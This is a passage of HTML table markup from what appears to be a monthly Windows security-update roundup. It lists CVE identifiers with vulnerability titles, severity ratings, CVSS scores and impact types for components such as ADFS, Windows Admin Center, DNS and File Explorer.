  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
